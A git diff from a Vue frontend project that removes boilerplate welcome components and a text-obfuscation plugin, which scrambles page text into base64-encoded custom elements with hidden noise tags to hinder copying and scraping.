||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -25,6 +24,5 @@ app.use(i18n);
|
|||||||
app.use(createPinia());
|
app.use(createPinia());
|
||||||
app.use(router);
|
app.use(router);
|
||||||
|
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
